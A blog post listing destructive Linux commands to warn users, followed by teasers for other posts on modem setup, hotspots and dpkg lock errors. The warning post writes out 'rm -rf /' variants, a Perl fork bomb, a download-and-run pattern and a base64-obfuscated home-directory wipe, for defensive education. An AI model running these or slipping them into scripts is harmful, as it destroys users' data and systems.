Skip to main content

Malicious Linux commands to avoid

Warning: Don't run these commands on your machine. They can erase your valuable data or crash your machine.

It is worthwhile to have basic knowledge about malicious commands in Linux. Don't blindly run the commands instructed in websites or scripts downloaded from the internet. Just verify the contents of the script for any commands that can harm your computer.
If you want to know what a command can do use the man pages if you are offline. You can get the information of a command by typing
info <command name>
in the terminal.
Example: info sudo
If you are connected to the internet then type
man <command name>
in the terminal to get the updated documentation.
Example: man sudo
Again, the following commands can heavily damage your OS. These are extremely dangerous and should not be attempted on any computer that has any physical connection to valuable data.



rm -rf /
rm -rf .
rm -rf *

rm means remove, -f means "force" deletion (even if write protected), and -r means do it recursively, i.e. all sub folders.
rm -rf / means delete everything in the root directory and all sub folders.
rm -rf .  means delete the current directory and all sub folders.
rm -rf * means delete all files in current directory and all sub folders.

Whatever follows the mkfs command will be destroyed and replaced with a blank filesystem.
  • In Bourne-ish shells (like Bash):
  • In Perl
fork while fork
These commands execute a huge number of processes until the system freezes, forcing 
a hard reset of the computer (which may cause data corruption, operating system damage). 

This tar archive can be crafted to explode into a million files, or can inject files into the system by guessing file names. So, be careful with tar files or compressed files downloaded from the internet.

wget http://some_address/some_file
sh ./some_file

Be careful while downloading scripts from the internet. They might contain benign or malicious code. Never execute code from people you don't trust.
Do not compile or execute the resulting compiled code unless the source is some well-known application obtained from a reputable site.
It is easy to hide malicious code as a part of a source code.

echo cm0gLXJmIH4vKg== | base64 -d

This is the base64 form of rm -rf ~/*
So, just be careful while executing commands or scripts.
This post isn't an exhaustive list of malicious commands. There are more malicious commands out there. So, be a command literate before you start using the command-line.

Popular posts from this blog


Most of you who have a Huawei USB modem (data card) might have tried to install mobile partner (dash board) in Linux. Here I will show you how to install mobile partner in Linux. First, you have to copy the folder called Linux in the data card. The files in the data card are not accessible from Linux so copy them from Windows. Now right click the file “install” in the “Linux” folder. Go to the permissions tab and select the check box beside Allow executing as a program. Now open a terminal by pressing CTRL + ALT + Tkeys. Change the working directory to the folder “Linux” by using “cd <path to folder>”. Now type ./install. If you had installed this software in your system before, you will get a prompt: "The software is exist, do you want overwrites? ([Y]/[N])", enter "y" to overwrites or "n" to exit. If you do not had installed this software in your system before, you will get a prompt: "Please input the install path[/usr/local/Mobile_Partner]:"…

How to setup a wifi-hotspot in Ubuntu: The terminal way.

Ubuntu has a "Use as hotspot" mode. But it creates a n ad-hoc network only.Wireless hotspots aren't same as ad hoc networks. Significant difference is there. In short, ad hoc networks aren't supported in most Android, Windows Phone and Blackberry devices (and may be iOS devices too) whereas AP mode Wi-Fi hotspots are.

              It is really simple and easy to setup a hotspot in Ubuntu. We use a tool called ap-hotspot. To install it open a terminal and type the following:

sudo add-apt-repository ppa:nilarimogard/webupd8 sudo apt-get update sudo apt-get install ap-hotspot
             Next, to start the hotspot type the following in a terminal:
sudo ap-hotspot start
It asks you which adapter's internet you want to share, name of the network, password, etc. in an interactive manner. To stop the hotspot type the following n the terminal :
sudo ap-hotspot stop
To configure it type the following in the terminal :
sudo ap-hotspot configure

Unable to lock the administration directory (/var/lib/dpkg/) is another process using it?

Some times we get the following error while trying yo install software using apt-get or synaptic packaging manager.
E: Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavailable)
E: Unable to lock the administration directory (/var/lib/dpkg/) is another process using it?

How can we resolve this?
The problem occurs if we are running another applications like synaptic using the directory. So, if this is the case close the applications and try run the command again.
You will also get this message if you forget to use  sudo  when executing an apt command. You can use sudo lsof /var/lib/dpkg/lock to find the process that owns the lock file Then try to kill the process to remove the lock.
This should be used as last resort. If you use this carelessly you can end up with a broken system.
You can delete the lock file with the following command:
sudo rm /var/lib/apt/lists/lock

You may also need to delete the lock file in the cache directory.
sudo r…